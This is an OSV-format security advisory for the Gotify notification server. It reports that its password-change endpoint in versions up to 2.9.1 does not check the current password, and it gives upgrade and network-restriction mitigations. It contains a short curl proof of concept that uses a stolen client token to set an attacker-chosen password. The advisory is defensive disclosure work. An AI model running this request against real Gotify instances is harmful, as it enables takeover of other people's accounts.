Vulnerabilities in pkg:golang/github.com/gotify/server/v3

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-3hcj-9m7p-wwm9",
  "modified" : "2026-10-15T20:15:38Z",
  "published" : "2026-10-15T20:15:38Z",
  "aliases" : [ "CVE-2026-102603" ],
  "summary" : "Gotify: Insufficiently Protected Password Change endpoint",
  "details" : "The password change endpoint (`POST /current/user/password`) in Gotify versions <= 2.9.1 does not require knowledge of the current password. An attacker in possession of a valid client token can set a new password for the affected user. Recovering the account requires administrator intervention or direct database access.\n\n## PoC\n\n```bash\n# Attacker has obtained a client token\n# No prior password knowledge required\nSTOLEN_TOKEN=\"Cxxxxxxxxxx\"\n\ncurl -X POST \"http://gotify-host/current/user/password?token=${STOLEN_TOKEN}\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"pass\":\"attacker_controls_this\"}'\n# Expected response:\n# HTTP/1.1 200 OK\n```\n\n## Mitigation\n\n- Upgrade to Gotify 3.0.0, which introduces step-up authentication: changing the  password now requires re-authenticating with the account password, or\n- Restrict access to the state-changing endpoints under `/user` and  `/current/user` to trusted networks.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/gotify/server/v2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "2.9.1"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/gotify/server/v3"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.0.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/gotify/server/security/advisories/GHSA-3hcj-9m7p-wwm9"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-102603"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/gotify/server/pull/952"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/gotify/server/commit/a8744482c668e07a61798573ec8e17bd3f6009f9"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/gotify/server"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/gotify/server/releases/tag/v3.0.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-620" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-15T20:15:38Z",
    "nvd_published_at" : "2026-10-13T15:17:30Z"
  }
}